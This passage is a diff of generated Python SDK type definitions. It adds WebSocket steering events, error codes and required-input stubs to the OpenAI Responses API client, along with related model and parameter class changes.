from typing_extensions import Literal, Annotated, TypeAlias
+from pydantic import Field as FieldInfo
+
from ..._utils import PropertyInfo
from ..._models import BaseModel
@@ -45,6 +47,9 @@ class ResponseFunctionToolCall(BaseModel):
id: Optional[str] = None
"""The unique ID of the function tool call."""
+ async_: Optional[bool] = FieldInfo(alias="async", default=None)
+ """Whether the function tool call runs asynchronously."""
+
caller: Optional[Caller] = None
"""The execution context that produced this tool call."""
diff --git a/src/openai/types/responses/response_function_tool_call_param.py b/src/openai/types/responses/response_function_tool_call_param.py
index b4909d99c6..00e3f87004 100644
--- a/src/openai/types/responses/response_function_tool_call_param.py
+++ b/src/openai/types/responses/response_function_tool_call_param.py
@@ -22,7 +22,16 @@ class CallerProgram(TypedDict, total=False):
Caller: TypeAlias = Union[CallerDirect, CallerProgram]
-class ResponseFunctionToolCallParam(TypedDict, total=False):
+_ResponseFunctionToolCallParamReservedKeywords = TypedDict(
+ "_ResponseFunctionToolCallParamReservedKeywords",
+ {
+ "async": bool,
+ },
+ total=False,
+)
+
+
+class ResponseFunctionToolCallParam(_ResponseFunctionToolCallParamReservedKeywords, total=False):
"""A tool call to run a function.
See the
diff --git a/src/openai/types/responses/response_incomplete_event.py b/src/openai/types/responses/response_incomplete_event.py
index 3c9ccf2bd1..1556d82971 100644
--- a/src/openai/types/responses/response_incomplete_event.py
+++ b/src/openai/types/responses/response_incomplete_event.py
@@ -9,7 +9,12 @@
class ResponseIncompleteEvent(BaseModel):
- """An event that is emitted when a response finishes as incomplete."""
+ """An event that is emitted when a response finishes as incomplete.
+
+ Over WebSocket, steering can finish a response with
+ `response.incomplete_details.reason` set to `steered`, followed automatically
+ by a successor `response.created` that commits the queued steering input.
+ """
response: Response
"""The response that was incomplete."""
diff --git a/src/openai/types/responses/response_input_item.py b/src/openai/types/responses/response_input_item.py
index 1d1e06b95c..2fad88bb39 100644
--- a/src/openai/types/responses/response_input_item.py
+++ b/src/openai/types/responses/response_input_item.py
@@ -23,6 +23,7 @@
from .response_input_message_content_list import ResponseInputMessageContentList
from .response_tool_search_output_item_param import ResponseToolSearchOutputItemParam
from .response_function_call_output_item_list import ResponseFunctionCallOutputItemList
+from .response_configuration_update_item_param import ResponseConfigurationUpdateItemParam
from .response_function_shell_call_output_content import ResponseFunctionShellCallOutputContent
from .response_computer_tool_call_output_screenshot import ResponseComputerToolCallOutputScreenshot
@@ -737,6 +738,7 @@ class ProgramOutput(BaseModel):
ToolSearchCall,
ResponseToolSearchOutputItemParam,
AdditionalTools,
+ ResponseConfigurationUpdateItemParam,
ResponseReasoningItem,
ResponseCompactionItemParam,
ImageGenerationCall,
diff --git a/src/openai/types/responses/response_input_item_param.py b/src/openai/types/responses/response_input_item_param.py
index 9a97f86eda..db7a9350bd 100644
--- a/src/openai/types/responses/response_input_item_param.py
+++ b/src/openai/types/responses/response_input_item_param.py
@@ -24,6 +24,7 @@
from .response_input_message_content_list_param import ResponseInputMessageContentListParam
from .response_tool_search_output_item_param_param import ResponseToolSearchOutputItemParamParam
from .response_function_call_output_item_list_param import ResponseFunctionCallOutputItemListParam
+from .response_configuration_update_item_param_param import ResponseConfigurationUpdateItemParamParam
from .response_function_shell_call_output_content_param import ResponseFunctionShellCallOutputContentParam
from .response_computer_tool_call_output_screenshot_param import ResponseComputerToolCallOutputScreenshotParam
@@ -724,6 +725,7 @@ class ProgramOutput(TypedDict, total=False):
ToolSearchCall,
ResponseToolSearchOutputItemParamParam,
AdditionalTools,
+ ResponseConfigurationUpdateItemParamParam,
ResponseReasoningItemParam,
ResponseCompactionItemParamParam,
ImageGenerationCall,
diff --git a/src/openai/types/responses/response_input_param.py b/src/openai/types/responses/response_input_param.py
index 90704ed0ce..982d37e23a 100644
--- a/src/openai/types/responses/response_input_param.py
+++ b/src/openai/types/responses/response_input_param.py
@@ -24,6 +24,7 @@
from .response_input_message_content_list_param import ResponseInputMessageContentListParam
from .response_tool_search_output_item_param_param import ResponseToolSearchOutputItemParamParam
from .response_function_call_output_item_list_param import ResponseFunctionCallOutputItemListParam
+from .response_configuration_update_item_param_param import ResponseConfigurationUpdateItemParamParam
from .response_function_shell_call_output_content_param import ResponseFunctionShellCallOutputContentParam
from .response_computer_tool_call_output_screenshot_param import ResponseComputerToolCallOutputScreenshotParam
@@ -725,6 +726,7 @@ class ProgramOutput(TypedDict, total=False):
ToolSearchCall,
ResponseToolSearchOutputItemParamParam,
AdditionalTools,
+ ResponseConfigurationUpdateItemParamParam,
ResponseReasoningItemParam,
ResponseCompactionItemParamParam,
ImageGenerationCall,
diff --git a/src/openai/types/responses/response_item.py b/src/openai/types/responses/response_item.py
index ae5097f68c..4d0b9a4dcc 100644
--- a/src/openai/types/responses/response_item.py
+++ b/src/openai/types/responses/response_item.py
@@ -20,6 +20,7 @@
from .response_function_tool_call_item import ResponseFunctionToolCallItem
from .response_tool_search_output_item import ResponseToolSearchOutputItem
from .response_function_shell_tool_call import ResponseFunctionShellToolCall
+from .response_configuration_update_item import ResponseConfigurationUpdateItem
from .response_code_interpreter_tool_call import ResponseCodeInterpreterToolCall
from .response_apply_patch_tool_call_output import ResponseApplyPatchToolCallOutput
from .response_custom_tool_call_output_item import ResponseCustomToolCallOutputItem
@@ -289,6 +290,7 @@ class McpCall(BaseModel):
ResponseToolSearchCall,
ResponseToolSearchOutputItem,
AdditionalTools,
+ ResponseConfigurationUpdateItem,
ResponseReasoningItem,
Program,
ProgramOutput,
diff --git a/src/openai/types/responses/response_steer_accepted_event.py b/src/openai/types/responses/response_steer_accepted_event.py
new file mode 100644
index 0000000000..0315cb2a27
--- /dev/null
+++ b/src/openai/types/responses/response_steer_accepted_event.py
@@ -0,0 +1,50 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["ResponseSteerAcceptedEvent", "Steer"]
+
+
+class Steer(BaseModel):
+ """The accepted steering submission."""
+
+ id: str
+ """The ID assigned to the steering submission."""
+
+ previous_response_id: str
+ """The ID of the response being steered."""
+
+
+class ResponseSteerAcceptedEvent(BaseModel):
+ """Emitted when steering input has been validated and queued.
+
+ Acceptance means
+ the server owns the input, not that it has been applied. The successor's
+ `response.created` event is the commit point. If accepted input cannot be
+ committed, `response.steer.failed` returns it with the same steering ID.
+
+ When the response stops for client-owned tool output or approval, the input
+ remains queued and `response.steer.pending` is emitted after
+ `response.completed`. Fill the pending event's `required_input` stubs with
+ saved results and send one matching explicit `response.create` per parent.
+ Do not resend accepted input while it is still queued.
+ """
+
+ sequence_number: int
+ """The sequence number for this event."""
+
+ steer: Steer
+ """The accepted steering submission."""
+
+ type: Literal["response.steer.accepted"]
+ """The event discriminator. Always `response.steer.accepted`."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the target response's `response.create` event
+ supplied a `stream_id`.
+ """
diff --git a/src/openai/types/responses/response_steer_error_code.py b/src/openai/types/responses/response_steer_error_code.py
new file mode 100644
index 0000000000..ee83af98a6
--- /dev/null
+++ b/src/openai/types/responses/response_steer_error_code.py
@@ -0,0 +1,19 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Union
+from typing_extensions import Literal, TypeAlias
+
+__all__ = ["ResponseSteerErrorCode"]
+
+ResponseSteerErrorCode: TypeAlias = Union[
+ Literal[
+ "response_not_found",
+ "invalid_input",
+ "steering_not_supported",
+ "too_many_pending_steers",
+ "response_already_completed",
+ "response_not_active",
+ "successor_creation_failed",
+ ],
+ str,
+]
diff --git a/src/openai/types/responses/response_steer_event.py b/src/openai/types/responses/response_steer_event.py
new file mode 100644
index 0000000000..9367f9d9b0
--- /dev/null
+++ b/src/openai/types/responses/response_steer_event.py
@@ -0,0 +1,61 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .response_steer_input import ResponseSteerInput
+
+__all__ = ["ResponseSteerEvent"]
+
+
+class ResponseSteerEvent(BaseModel):
+ """Queues user input to steer a response on this WebSocket connection.
+
+ Input
+ can contain text, images, and files. Steering is supported only for
+ single-agent responses on models and execution modes that support steering.
+ Responses bound to a conversation or using automatic compaction do not
+ support steering.
+
+ A `response.steer.accepted` event acknowledges that the server owns the
+ queued input, not that it has been applied. The successor's `response.created`
+ event is the commit point. Input that cannot be committed is returned in
+ `response.steer.failed`.
+
+ Steering may cause the active response to finish at a safe output boundary
+ with `response.incomplete` and `incomplete_details.reason` set to `steered`,
+ followed automatically by a successor `response.created`. Normal completion
+ can also be followed by an automatic successor. Automatic successors inherit
+ the previous response's settings and continue from it with the queued input.
+
+ If the response stops for client-owned tool output or approval, accepted
+ steering input remains queued and `response.steer.pending` is emitted after
+ `response.completed`. Fill the `required_input` stubs from that event with
+ saved tool results or approval decisions, and send one explicit
+ `response.create` per parent with the same `previous_response_id` and
+ WebSocket lane. Do not rerun tools or resend accepted steering input. The
+ queued input is prepended in submission order to that request's input, and
+ the explicit request retains its own settings.
+
+ This event accepts only `type`, `previous_response_id`, and `input`. Do not
+ send `stream_id`; the target response determines the WebSocket lane.
+ """
+
+ input: ResponseSteerInput
+ """Input to queue for a continuation of the response.
+
+ Uses the same string or input-item shape as `response.create.input`, with a
+ non-empty array when supplying input items.
+
+ Steering accepts only messages with the `user` role. Each message may contain
+ only `type`, `role`, and `content`, with `content` as a string or an array of
+ `input_text`, `input_image`, and `input_file` parts. The optional `type` must be
+ `message`. Other roles, tool outputs, and item types are not supported for
+ steering.
+ """
+
+ previous_response_id: str
+ """The ID of the response to steer on this WebSocket connection."""
+
+ type: Literal["response.steer"]
+ """The event discriminator. Always `response.steer`."""
diff --git a/src/openai/types/responses/response_steer_event_param.py b/src/openai/types/responses/response_steer_event_param.py
new file mode 100644
index 0000000000..5a6ae1ad74
--- /dev/null
+++ b/src/openai/types/responses/response_steer_event_param.py
@@ -0,0 +1,62 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing_extensions import Literal, Required, TypedDict
+
+from .response_steer_input_param import ResponseSteerInputParam
+
+__all__ = ["ResponseSteerEventParam"]
+
+
+class ResponseSteerEventParam(TypedDict, total=False):
+ """Queues user input to steer a response on this WebSocket connection.
+
+ Input
+ can contain text, images, and files. Steering is supported only for
+ single-agent responses on models and execution modes that support steering.
+ Responses bound to a conversation or using automatic compaction do not
+ support steering.
+
+ A `response.steer.accepted` event acknowledges that the server owns the
+ queued input, not that it has been applied. The successor's `response.created`
+ event is the commit point. Input that cannot be committed is returned in
+ `response.steer.failed`.
+
+ Steering may cause the active response to finish at a safe output boundary
+ with `response.incomplete` and `incomplete_details.reason` set to `steered`,
+ followed automatically by a successor `response.created`. Normal completion
+ can also be followed by an automatic successor. Automatic successors inherit
+ the previous response's settings and continue from it with the queued input.
+
+ If the response stops for client-owned tool output or approval, accepted
+ steering input remains queued and `response.steer.pending` is emitted after
+ `response.completed`. Fill the `required_input` stubs from that event with
+ saved tool results or approval decisions, and send one explicit
+ `response.create` per parent with the same `previous_response_id` and
+ WebSocket lane. Do not rerun tools or resend accepted steering input. The
+ queued input is prepended in submission order to that request's input, and
+ the explicit request retains its own settings.
+
+ This event accepts only `type`, `previous_response_id`, and `input`. Do not
+ send `stream_id`; the target response determines the WebSocket lane.
+ """
+
+ input: Required[ResponseSteerInputParam]
+ """Input to queue for a continuation of the response.
+
+ Uses the same string or input-item shape as `response.create.input`, with a
+ non-empty array when supplying input items.
+
+ Steering accepts only messages with the `user` role. Each message may contain
+ only `type`, `role`, and `content`, with `content` as a string or an array of
+ `input_text`, `input_image`, and `input_file` parts. The optional `type` must be
+ `message`. Other roles, tool outputs, and item types are not supported for
+ steering.
+ """
+
+ previous_response_id: Required[str]
+ """The ID of the response to steer on this WebSocket connection."""
+
+ type: Required[Literal["response.steer"]]
+ """The event discriminator. Always `response.steer`."""
diff --git a/src/openai/types/responses/response_steer_failed_event.py b/src/openai/types/responses/response_steer_failed_event.py
new file mode 100644
index 0000000000..2eb4c7863f
--- /dev/null
+++ b/src/openai/types/responses/response_steer_failed_event.py
@@ -0,0 +1,92 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .response_steer_input import ResponseSteerInput
+from .response_steer_error_code import ResponseSteerErrorCode
+
+__all__ = ["ResponseSteerFailedEvent", "Error", "Steer"]
+
+
+class Error(BaseModel):
+ """Information about why the input could not be committed."""
+
+ code: ResponseSteerErrorCode
+ """A machine-readable steering error code.
+
+ Clients should handle unknown values because additional codes may be introduced.
+ Known values include:
+
+ - `response_not_found`: The target response is not available on this connection.
+ - `invalid_input`: The event or input failed validation.
+ - `steering_not_supported`: The model or response execution mode does not
+ support steering.
+ - `too_many_pending_steers`: Too much steering input is pending for the
+ response.
+ - `response_already_completed`: The response completed and is no longer
+ accepting steering input.
+ - `response_not_active`: The response is no longer accepting steering input.
+ - `successor_creation_failed`: The successor response could not be created.
+ """
+
+ message: str
+ """A human-readable description of the error."""
+
+ type: Literal["invalid_request_error"]
+ """The error type. Always `invalid_request_error`."""
+
+
+class Steer(BaseModel):
+ """The steering submission that could not be committed."""
+
+ input: ResponseSteerInput
+ """Input to queue for a continuation of the response.
+
+ Uses the same string or input-item shape as `response.create.input`, with a
+ non-empty array when supplying input items.
+
+ Steering accepts only messages with the `user` role. Each message may contain
+ only `type`, `role`, and `content`, with `content` as a string or an array of
+ `input_text`, `input_image`, and `input_file` parts. The optional `type` must be
+ `message`. Other roles, tool outputs, and item types are not supported for
+ steering.
+ """
+
+ previous_response_id: str
+ """The ID of the response that was targeted for steering."""
+
+ id: Optional[str] = None
+ """The ID assigned to the steering submission, if one was allocated."""
+
+
+class ResponseSteerFailedEvent(BaseModel):
+ """
+ Emitted when steering input is rejected or cannot be committed to a
+ successor response. Returns the original, uncommitted input so the client
+ can carry it into `response.create` when appropriate. Invalid input must
+ be corrected before retrying.
+
+ Failures after acceptance include the same steering ID. Failures before an
+ ID is allocated omit `steer.id`. A lost connection or missing acknowledgement
+ leaves the outcome unknown; it is not proof that the input was rejected.
+ """
+
+ error: Error
+ """Information about why the input could not be committed."""
+
+ sequence_number: int
+ """The sequence number for this event."""
+
+ steer: Steer
+ """The steering submission that could not be committed."""
+
+ type: Literal["response.steer.failed"]
+ """The event discriminator. Always `response.steer.failed`."""
+
+ stream_id: Optional[str] = None
+ """
+ The WebSocket lane that emitted this event, when the target response is
+ available and its `response.create` event supplied a `stream_id`.
+ """
diff --git a/src/openai/types/responses/response_steer_input.py b/src/openai/types/responses/response_steer_input.py
new file mode 100644
index 0000000000..78426ab22c
--- /dev/null
+++ b/src/openai/types/responses/response_steer_input.py
@@ -0,0 +1,102 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import List, Union, Optional
+from typing_extensions import Literal, Annotated, TypeAlias
+
+from ..._utils import PropertyInfo
+from ..._models import BaseModel
+from .response_steer_input_content import ResponseSteerInputContent
+from .response_function_call_output_item_list import ResponseFunctionCallOutputItemList
+
+__all__ = [
+ "ResponseSteerInput",
+ "ResponseSteerInputItemList",
+ "ResponseSteerInputItemListMessage",
+ "ResponseSteerInputItemListFunctionCallOutput",
+ "ResponseSteerInputItemListFunctionCallOutputCaller",
+ "ResponseSteerInputItemListFunctionCallOutputCallerDirect",
+ "ResponseSteerInputItemListFunctionCallOutputCallerProgram",
+]
+
+
+class ResponseSteerInputItemListMessage(BaseModel):
+ content: Union[List[ResponseSteerInputContent], str]
+ """The message content, as an array of content parts."""
+
+ role: Literal["user"]
+ """The message role. Always `user`."""
+
+ type: Literal["message"]
+ """The item type. Always `message`."""
+
+ id: Optional[str] = None
+ """The unique ID of this message item."""
+
+ status: Optional[str] = None
+ """The status of the message item."""
+
+
+class ResponseSteerInputItemListFunctionCallOutputCallerDirect(BaseModel):
+ type: Literal["direct"]
+ """The caller type. Always `direct`."""
+
+
+class ResponseSteerInputItemListFunctionCallOutputCallerProgram(BaseModel):
+ caller_id: str
+ """The call ID of the program item that produced this tool call."""
+
+ type: Literal["program"]
+ """The caller type. Always `program`."""
+
+
+ResponseSteerInputItemListFunctionCallOutputCaller: TypeAlias = Annotated[
+ Union[
+ ResponseSteerInputItemListFunctionCallOutputCallerDirect,
+ ResponseSteerInputItemListFunctionCallOutputCallerProgram,
+ None,
+ ],
+ PropertyInfo(discriminator="type"),
+]
+
+
+class ResponseSteerInputItemListFunctionCallOutput(BaseModel):
+ """The output of a function tool call."""
+
+ output: Union[str, ResponseFunctionCallOutputItemList]
+ """Text, image, or file output of the function tool call."""
+
+ type: Literal["function_call_output"]
+ """The type of the function tool call output. Always `function_call_output`."""
+
+ id: Optional[str] = None
+ """The unique ID of the function tool call output.
+
+ Populated when this item is returned via API.
+ """
+
+ call_id: Optional[str] = None
+ """The unique ID of the function tool call generated by the model."""
+
+ caller: Optional[ResponseSteerInputItemListFunctionCallOutputCaller] = None
+ """The execution context that produced this tool call."""
+
+ name: Optional[str] = None
+ """The name of the tool that produced the output."""
+
+ namespace: Optional[str] = None
+ """The namespace of the tool that produced the output."""
+
+ status: Optional[Literal["in_progress", "completed", "incomplete"]] = None
+ """The status of the item.
+
+ One of `in_progress`, `completed`, or `incomplete`. Populated when items are
+ returned via API.
+ """
+
+
+ResponseSteerInputItemList: TypeAlias = Annotated[
+ Union[ResponseSteerInputItemListMessage, ResponseSteerInputItemListFunctionCallOutput],
+ PropertyInfo(discriminator="type"),
+]
+
+ResponseSteerInput: TypeAlias = Union[str, List[ResponseSteerInputItemList]]
diff --git a/src/openai/types/responses/response_steer_input_content.py b/src/openai/types/responses/response_steer_input_content.py
new file mode 100644
index 0000000000..3cdbdd4bdf
--- /dev/null
+++ b/src/openai/types/responses/response_steer_input_content.py
@@ -0,0 +1,16 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Union
+from typing_extensions import Annotated, TypeAlias
+
+from ..._utils import PropertyInfo
+from .response_input_file_content import ResponseInputFileContent
+from .response_input_text_content import ResponseInputTextContent
+from .response_input_image_content import ResponseInputImageContent
+
+__all__ = ["ResponseSteerInputContent"]
+
+ResponseSteerInputContent: TypeAlias = Annotated[
+ Union[ResponseInputTextContent, ResponseInputImageContent, ResponseInputFileContent],
+ PropertyInfo(discriminator="type"),
+]
diff --git a/src/openai/types/responses/response_steer_input_content_param.py b/src/openai/types/responses/response_steer_input_content_param.py
new file mode 100644
index 0000000000..9dd806b4ff
--- /dev/null
+++ b/src/openai/types/responses/response_steer_input_content_param.py
@@ -0,0 +1,16 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Union
+from typing_extensions import TypeAlias
+
+from .response_input_file_content_param import ResponseInputFileContentParam
+from .response_input_text_content_param import ResponseInputTextContentParam
+from .response_input_image_content_param import ResponseInputImageContentParam
+
+__all__ = ["ResponseSteerInputContentParam"]
+
+ResponseSteerInputContentParam: TypeAlias = Union[
+ ResponseInputTextContentParam, ResponseInputImageContentParam, ResponseInputFileContentParam
+]
diff --git a/src/openai/types/responses/response_steer_input_param.py b/src/openai/types/responses/response_steer_input_param.py
new file mode 100644
index 0000000000..dcaa31df0e
--- /dev/null
+++ b/src/openai/types/responses/response_steer_input_param.py
@@ -0,0 +1,96 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Union, Iterable, Optional
+from typing_extensions import Literal, Required, TypeAlias, TypedDict
+
+from .response_steer_input_content_param import ResponseSteerInputContentParam
+from .response_function_call_output_item_list_param import ResponseFunctionCallOutputItemListParam
+
+__all__ = [
+ "ResponseSteerInputParam",
+ "ResponseSteerInputItemList",
+ "ResponseSteerInputItemListMessage",
+ "ResponseSteerInputItemListFunctionCallOutput",
+ "ResponseSteerInputItemListFunctionCallOutputCaller",
+ "ResponseSteerInputItemListFunctionCallOutputCallerDirect",
+ "ResponseSteerInputItemListFunctionCallOutputCallerProgram",
+]
+
+
+class ResponseSteerInputItemListMessage(TypedDict, total=False):
+ content: Required[Union[Iterable[ResponseSteerInputContentParam], str]]
+ """The message content, as an array of content parts."""
+
+ role: Required[Literal["user"]]
+ """The message role. Always `user`."""
+
+ type: Required[Literal["message"]]
+ """The item type. Always `message`."""
+
+ id: Optional[str]
+ """The unique ID of this message item."""
+
+ status: Optional[str]
+ """The status of the message item."""
+
+
+class ResponseSteerInputItemListFunctionCallOutputCallerDirect(TypedDict, total=False):
+ type: Required[Literal["direct"]]
+ """The caller type. Always `direct`."""
+
+
+class ResponseSteerInputItemListFunctionCallOutputCallerProgram(TypedDict, total=False):
+ caller_id: Required[str]
+ """The call ID of the program item that produced this tool call."""
+
+ type: Required[Literal["program"]]
+ """The caller type. Always `program`."""
+
+
+ResponseSteerInputItemListFunctionCallOutputCaller: TypeAlias = Union[
+ ResponseSteerInputItemListFunctionCallOutputCallerDirect, ResponseSteerInputItemListFunctionCallOutputCallerProgram
+]
+
+
+class ResponseSteerInputItemListFunctionCallOutput(TypedDict, total=False):
+ """The output of a function tool call."""
+
+ output: Required[Union[str, ResponseFunctionCallOutputItemListParam]]
+ """Text, image, or file output of the function tool call."""
+
+ type: Required[Literal["function_call_output"]]
+ """The type of the function tool call output. Always `function_call_output`."""
+
+ id: Optional[str]
+ """The unique ID of the function tool call output.
+
+ Populated when this item is returned via API.
+ """
+
+ call_id: Optional[str]
+ """The unique ID of the function tool call generated by the model."""
+
+ caller: Optional[ResponseSteerInputItemListFunctionCallOutputCaller]
+ """The execution context that produced this tool call."""
+
+ name: Optional[str]
+ """The name of the tool that produced the output."""
+
+ namespace: Optional[str]
+ """The namespace of the tool that produced the output."""
+
+ status: Optional[Literal["in_progress", "completed", "incomplete"]]
+ """The status of the item.
+
+ One of `in_progress`, `completed`, or `incomplete`. Populated when items are
+ returned via API.
+ """
+
+
+ResponseSteerInputItemList: TypeAlias = Union[
+ ResponseSteerInputItemListMessage, ResponseSteerInputItemListFunctionCallOutput
+]
+
+ResponseSteerInputParam: TypeAlias = Union[str, Iterable[ResponseSteerInputItemList]]
diff --git a/src/openai/types/responses/response_steer_pending_event.py b/src/openai/types/responses/response_steer_pending_event.py
new file mode 100644
index 0000000000..3d35f3e2bb
--- /dev/null
+++ b/src/openai/types/responses/response_steer_pending_event.py
@@ -0,0 +1,74 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import List, Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+from .response_steer_pending_reason import ResponseSteerPendingReason
+from .response_steer_required_input import ResponseSteerRequiredInput
+
+__all__ = ["ResponseSteerPendingEvent", "Steer"]
+
+
+class Steer(BaseModel):
+ """The steering submission that remains queued."""
+
+ id: str
+ """The ID assigned to the steering submission."""
+
+ previous_response_id: str
+ """The ID of the response being steered."""
+
+
+class ResponseSteerPendingEvent(BaseModel):
+ """
+ Emitted when accepted steering input remains queued after the target
+ response completes. The server still owns the input. Do not resend it.
+ The successor's `response.created` event is the commit point.
+
+ When `reason` is `waiting_for_required_input`, this event follows
+ `response.completed` while the response waits for the tool results or
+ approval decisions identified by `required_input`. Copy those stubs, fill
+ their result fields using the ordinary `response.create` input schemas,
+ and submit one continuation per parent with the same `previous_response_id`
+ and WebSocket lane. Use saved results without rerunning tools. The queued
+ steering input is prepended in submission order to the continuation's
+ input. That explicit request retains its own settings.
+
+ This notification is emitted at most once per steering submission. Multiple
+ submissions for the same parent can report the same required inputs; they
+ do not each require a separate continuation.
+ """
+
+ reason: ResponseSteerPendingReason
+ """
+ An extensible enum describing why accepted steering input is still queued.
+ Clients should handle unknown values because additional reasons may be
+ introduced. Known values include:
+
+ - `waiting_for_required_input`: The response is waiting for the tool results or
+ approval decisions identified by `required_input`.
+ """
+
+ required_input: List[ResponseSteerRequiredInput]
+ """
+ Input stubs identifying outstanding client-owned tool results or approval
+ decisions. Each stub contains identifying fields only; the client supplies the
+ result before including it in `response.create`.
+ """
+
+ sequence_number: int
+ """The sequence number for this event."""
+
+ steer: Steer
+ """The steering submission that remains queued."""
+
+ type: Literal["response.steer.pending"]
+ """The event discriminator. Always `response.steer.pending`."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the target response's `response.create` event
+ supplied a `stream_id`.
+ """
diff --git a/src/openai/types/responses/response_steer_pending_reason.py b/src/openai/types/responses/response_steer_pending_reason.py
new file mode 100644
index 0000000000..cafd06c041
--- /dev/null
+++ b/src/openai/types/responses/response_steer_pending_reason.py
@@ -0,0 +1,8 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Union
+from typing_extensions import Literal, TypeAlias
+
+__all__ = ["ResponseSteerPendingReason"]
+
+ResponseSteerPendingReason: TypeAlias = Union[Literal["waiting_for_required_input"], str]
diff --git a/src/openai/types/responses/response_steer_required_input.py b/src/openai/types/responses/response_steer_required_input.py
new file mode 100644
index 0000000000..9c1c19bd2d
--- /dev/null
+++ b/src/openai/types/responses/response_steer_required_input.py
@@ -0,0 +1,114 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Union
+from typing_extensions import Literal, Annotated, TypeAlias
+
+from ..._utils import PropertyInfo
+from ..._models import BaseModel
+
+__all__ = [
+ "ResponseSteerRequiredInput",
+ "FunctionCallOutput",
+ "CustomToolCallOutput",
+ "ComputerCallOutput",
+ "ShellCallOutput",
+ "ApplyPatchCallOutput",
+ "ToolSearchOutput",
+ "McpApprovalResponse",
+]
+
+
+class FunctionCallOutput(BaseModel):
+ """Supply `output` using the function tool call output input schema."""
+
+ call_id: str
+
+ name: str
+
+ type: Literal["function_call_output"]
+
+
+class CustomToolCallOutput(BaseModel):
+ """Supply `output` using the custom tool call output input schema.
+
+ The
+ original custom tool call supplies the tool's name.
+ """
+
+ call_id: str
+
+ type: Literal["custom_tool_call_output"]
+
+
+class ComputerCallOutput(BaseModel):
+ """
+ Supply `output` using the computer tool call output input schema,
+ including any required `acknowledged_safety_checks`.
+ """
+
+ call_id: str
+
+ type: Literal["computer_call_output"]
+
+
+class ShellCallOutput(BaseModel):
+ """Supply `output` using the shell tool call output input schema.
+
+ Each
+ output entry includes `stdout`, `stderr`, and `outcome`.
+ """
+
+ call_id: str
+
+ type: Literal["shell_call_output"]
+
+
+class ApplyPatchCallOutput(BaseModel):
+ """
+ Supply `status` and optional `output` using the apply patch tool call
+ output input schema.
+ """
+
+ call_id: str
+
+ type: Literal["apply_patch_call_output"]
+
+
+class ToolSearchOutput(BaseModel):
+ """
+ Supply `tools` using the tool search output input schema, retaining
+ `execution: "client"`.
+ """
+
+ call_id: str
+
+ execution: Literal["client"]
+
+ type: Literal["tool_search_output"]
+
+
+class McpApprovalResponse(BaseModel):
+ """Supply `approve` using the MCP approval response input schema.
+
+ An
+ optional `reason` can be supplied when denying the request. The original
+ approval request identifies the tool and server.
+ """
+
+ approval_request_id: str
+
+ type: Literal["mcp_approval_response"]
+
+
+ResponseSteerRequiredInput: TypeAlias = Annotated[
+ Union[
+ FunctionCallOutput,
+ CustomToolCallOutput,
+ ComputerCallOutput,
+ ShellCallOutput,
+ ApplyPatchCallOutput,
+ ToolSearchOutput,
+ McpApprovalResponse,
+ ],
+ PropertyInfo(discriminator="type"),
+]
diff --git a/src/openai/types/responses/responses_client_event.py b/src/openai/types/responses/responses_client_event.py
index 3a41651326..7951db919a 100644
--- a/src/openai/types/responses/responses_client_event.py
+++ b/src/openai/types/responses/responses_client_event.py
@@ -1,9 +1,10 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
-from typing_extensions import Literal, TypeAlias
+from typing_extensions import Literal, Annotated, TypeAlias
from .tool import Tool
+from ..._utils import PropertyInfo
from ..._models import BaseModel
from .service_tier import ServiceTier
from .response_input import ResponseInput
@@ -17,6 +18,7 @@
from .response_includable import ResponseIncludable
from .tool_choice_allowed import ToolChoiceAllowed
from .tool_choice_options import ToolChoiceOptions
+from .response_steer_event import ResponseSteerEvent
from .response_text_config import ResponseTextConfig
from .tool_choice_function import ToolChoiceFunction
from ..shared.responses_model import ResponsesModel
@@ -25,6 +27,21 @@
__all__ = [
"ResponsesClientEvent",
+ "ResponseCreate",
+ "ResponseCreateContextManagement",
+ "ResponseCreateConversation",
+ "ResponseCreateModeration",
+ "ResponseCreateModerationPolicy",
+ "ResponseCreateModerationPolicyInput",
+ "ResponseCreateModerationPolicyOutput",
+ "ResponseCreatePromptCacheOptions",
+ "ResponseCreateStreamOptions",
+ "ResponseCreateToolChoice",
+ "ResponseCreateToolChoiceSpecificProgrammaticToolCallingParam",
+]
+
+# custom code for back compat exports
+__all__ += [
"ContextManagement",
"Conversation",
"Moderation",
@@ -36,9 +53,10 @@
"ToolChoice",
"ToolChoiceSpecificProgrammaticToolCallingParam",
]
+# end custom code for back compat exports
-class ContextManagement(BaseModel):
+class ResponseCreateContextManagement(BaseModel):
type: str
"""The context management entry type. Currently only 'compaction' is supported."""
@@ -46,32 +64,32 @@ class ContextManagement(BaseModel):
"""Token threshold at which compaction should be triggered for this entry."""
-Conversation: TypeAlias = Union[str, ResponseConversationParam, None]
+ResponseCreateConversation: TypeAlias = Union[str, ResponseConversationParam, None]
-class ModerationPolicyInput(BaseModel):
+class ResponseCreateModerationPolicyInput(BaseModel):
"""The moderation policy for the response input."""
mode: Literal["score", "block"]
-class ModerationPolicyOutput(BaseModel):
+class ResponseCreateModerationPolicyOutput(BaseModel):
